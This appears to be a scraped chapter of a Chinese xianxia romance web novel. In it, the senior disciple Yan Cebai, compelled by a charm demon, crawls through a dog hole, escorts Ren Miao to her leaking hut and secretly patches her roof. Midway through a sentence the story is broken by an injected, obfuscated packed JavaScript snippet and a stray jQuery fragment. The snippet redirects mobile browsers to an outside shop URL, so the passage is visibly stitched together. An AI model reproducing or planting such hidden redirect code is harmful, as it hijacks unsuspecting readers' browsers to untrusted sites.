燕策白后悔了。
他不该说什么送她回弟子舍这种鬼话的,送出禁地结界就应当把她扔在外面,反正他们今后也不必见面,自己何苦受那一剑的愧疚驱使,偏要和她较劲。
任妙见他许久没有动静,蹲下身来,在对面压低声音唤他:“燕师兄?燕师兄你还在吗?”
燕策白从喉咙里挤出来一声“嗯”。
他素来知道内门外门有所区隔,以外门弟子的修为定然无法突破结界进入内门。他还道任妙究竟是如何混入内门不被察觉的,现下终于知晓……
原是靠爬狗洞。
老旧土墙高大斑驳,在此之上更是浮动着幽幽发亮的青色结界,夜风拂过,吹起连绵竹林沙沙轻响,竹叶掩映下,墙底隐隐约约透出通向外门炊堂的微弱烛光,只有拨开乱叶,才能看见那个需要伏地通过的狭小缺口。
听闻雍庄长老醉心炼器之道,多年前外出游历捡回一只普通细犬,从此便养在洞府作为灵宠。结界只防人不防狗,整个宗门当然也只有外门有炊堂,谁能想到,它竟为了偷吃刨出这么大个洞来?
他明日必须过来将这洞堵了。
昨夜新雨,泥土还混着微湿的黏意,成团沾在靴子边缘,败落的草叶化在其中,随风送来淡淡的草木腐气,想也知道四肢着地爬过去该是何等狼狈景象。
燕策白嫌弃地退后一步:“师妹,内外门之间本就不许相互往来,我……”
任妙那头正拍着身上灰土,料想他一身天龙人臭毛病定要退缩,但她依旧装傻打断道:“啊?什么?燕师兄你快爬过来呀,呆会被巡逻弟子发现就不好了。”
谁要爬啊。
燕策白嗤笑一声,刚要抬脚离开,心口猛地一热,脚底像是被什么抓在了地面,接着双膝一重,拉得他整个人砰地跪了下来,他手肘只来得及支起撑地,抬头便看到那狗洞近在眼前,接着手脚悚然地自发动起来,低头,塌腰,双腿放平,顺着洞口那抹微光匍匐而去。
任妙没听见燕策白回话,以为他甩袖走了,颇为遗憾地转过身,却忽然被一股大力抓住了脚踝。
燕策白半截身子在墙内,半截身子在墙外,雪白的衣袖和衣襟蹭了泥,手指还黏着几片竹叶,一看便知没什么爬狗洞的经验。他抬起的那张脸上沾了不少灰尘,终于失去高高在上的仙气,像雪白高贵的狐狸在泥水里滚了一圈,成了可怜兮兮的土狗。
“拉我一把。”他脸上又浮现出刚从水里出来那种神情,看起来与方才……好生不同。
任妙震惊地看着燕策白,惊讶于他真的跟过来了,听他开口求助,心下又忍不住生出些许得意。机会难得,她佯装反应迟钝,站在原地多欣赏了这幅景象片刻。
冷风吹过,燕策白一个激灵,神思逐渐清明,看清眼前境况后,连呼吸都急促了不少。
-70。
啧,怎么还急了。任妙不满地皱皱鼻子,抓起他手臂往外拖。
好奇怪,他堂堂一个首席,她又不能拿他如何,干嘛老是装作很听她的话?
燕策白反应不及,双臂已不由分说被人扣住,身体飞快摩擦地面的闷钝痛感袭来,抬眼便见任妙在头顶像拖死狗一般拖着他。
说拖就拖,她哪来这么大的力气?
不对,他刚才明明要走的,为什么突然听她话爬过来了?
燕策白呆呆地站起身来,抬手捏了个清洗诀,微风一卷,瞬间把两人整理得干干净净。
他走出两步,又突然反应过来。
要不是她,自己根本就不会爬狗洞,做什么要帮她也清理?
任妙心安理得地接受了,心想,这人还真是贪图自己的完美形象,她不过稍稍拿这事提一提,谁知这么好用……
-80。
任妙一口气梗在喉咙口。
这回明明是他自己要做的,到底是凭什么不高兴啊!
是魅妖吗?
燕策白抬起手,看着皮肤下若隐若现的青绿,眼色沉了沉。
寻常魅妖擅长惑人心智、吸人精血,而痴缠藤剧毒善绞、汁液致幻,他体内妖邪是两相叠加,又有百年修为,要他耽于情爱、痴迷沉溺怕是更难抵御。
正因他们在水下肌肤相触,魅妖才得以趁虚而入。世人爱到深处,往往言听计从、百依百顺,故而,她若对他提出要求……
“燕师兄!燕师兄?”任妙在身后叫了好几声,见他毫无反应,又赶忙拉了拉他衣袖,“错了,走这边。”
燕策白还没反应过来,脚下已然一转,跟着她所指方向走去。
她若对他提出要求……魅妖会立即迷惑他心神,叫他如痴迷情爱的毛头小子,不论何事都一口答应,全盘照做,如此这般,才方便这妖物步步扩大破绽,更好蚕食他的心头血。
他燕策白从没听过、也无需听别人差遣,若对手技高一筹他倒也能心服口服,可偏偏是眼前这个毫无修为的人,境界低微的人,捏住了随意差使他的命脉。
燕策白不动声色地感受自己身体的变化。任妙不再要求后,好像心口的桎梏也渐渐松动下来。
“据我所知,外门的弟子舍应当在炊堂西边。”燕策白试探开口,发现已能按自己所想出声,意外地挑了挑眉。
“哦,确实是,”更深露重,夜风刮人,任妙搓着胳膊答道,“不过我不住弟子舍,我另有住处。”
另有住处?燕策白狐疑看她一眼,眉头慢慢锁起来。
莫非她也是哪个世家担保入门的?轩辕剑宗虽说没落许多,但底蕴仍在,谁家势力这样大,竟能让她在外门分到单独住处?
这几年入宗的世家子弟越来越多,个个怠惰惫懒,天资不高,排场倒不小,搞得尚富之风如此猖獗,门内也失了应有的修习风气,他早就看这群人不大顺眼了。
任妙在前面停下脚步,他也不觉跟着站定,抬头看去却有些愕然。
“这是……你的住处?”
“对,”任妙摆摆手,“送到这里便好,今夜多谢师兄了。”
燕策白嘴巴张开又闭上。他本想说这难道不是一间柴房,却又感觉这还不如柴房,因为堆柴火的屋子至少不应当漏雨。
但他何必说这么多白白同情的话……反正之后他们也不会再见了。
任妙走到门前便听见屋里滴滴答答,知道前一夜的宿雨还没流尽,但她实在太
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17631924|206399||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
累了,没有精力再修补,打算进屋找个盆接着将就一晚,等到白天再说。
燕策白转身就走,几步行到坡下再回头望,发现任妙已经进屋了。她单薄的窗户又窄又高,透出屋内昏黄的烛光,把她细瘦的影子铺在上面,伶仃得好像皮影。
他想起那道狭长的伤口,莫名心下烦躁,目光慢慢移向屋顶。
*
任妙睡了雨季以来最好的一觉,她穿衣时想,看来把自己累个半死还是有好处的,至少能一觉睡到大天亮,不必半夜被瓦片漏风冻醒,或被雨打铜盆吵醒。
她转身去收拾床脚的铜盆,奇异地发现里边只有浅浅一层积水,抬头往上瞧,似乎也没看见平日缝隙里隐约漏下来的碎光。
她出了屋,三两下顺着梯子爬到顶,一眼便看见反复漏雨那处此时已糊了厚厚一团不平的灰泥,认真分辨下,泥土内还混有许多麦草和麦壳,仔细闻闻仿佛还有锅炉焦渣的气味。
她讶异地伸手敲了敲,经过一夜风干,灰泥有了硬度,摸起来还挺牢固。
这补得也太好了!
任妙万分虔诚地合十双手,抬头望天。
连着倒霉这么多日,上天终于可怜她生存不易,派了只善良的燕子来这里筑巢,刚刚好补上她漏雨的瓦顶。
她看看这个半成品鸟窝,又爬下来找了不少稻草树叶填进去。
和谐邻里,互帮互助,她也帮燕子妈妈搭下窝。
搭到一半,她瞥见腰牌呼吸般明暗闪烁,顺手拂了一把。
“任妙!有生意了有生意了!”罗潇宵嚷道。
*
任妙到达前门广场时,做早功的外门弟子都已到了不少,只是拿剑或运功者寥寥,走路金银碰撞的少爷小姐们一群群扎着堆,话便也随着香风飘进她耳朵里来。
“你莫不是在说笑,燕师兄怎么会用这种布料的帕子?”
“就这么一张普普通通,没有绣样也没有做工的?卖一千灵石?你怕是被骗了吧!”
人群里一阵嘻嘻哈哈的笑声。
任妙抽出自己别在腰上的学徒剑,踢腿转腕热了热身。
八成是被骗了,燕策白身上没有帕子,他用清洗诀。
“我倒觉着我买的剑穗是真品!一看就同镇阙剑身很是相配,古铜珠子,盘结络,寓意又好又大方——才八百灵石!”
“这……燕师兄常穿红色,这剑穗颜色好似不大衬他呢。”
“一看就是只值几十灵石的货色,怎么会是燕师兄的呀?”
任妙稳住呼吸,慢慢加快手上挥剑的动作。
镇阙跟你的脑子一样光溜溜的好吧,根本就不挂剑穗。
“瞧我这个,据说是燕师兄当年在外门用过的笔和砚台!”
“呃……”
“你这……何从考证啊?”
……这难道不够明显吗,纯骗钱啊。
任妙提步转身,剑尖上挑,忽见一抹迅疾流光不知何处飞来,准确有力地打在她剑上,震得她手臂跟着一麻,抓握不稳,整把剑铛地掉在地上。
万东衡咬牙切齿的声音从身后传来:“任妙,你还敢出现在我面前啊。”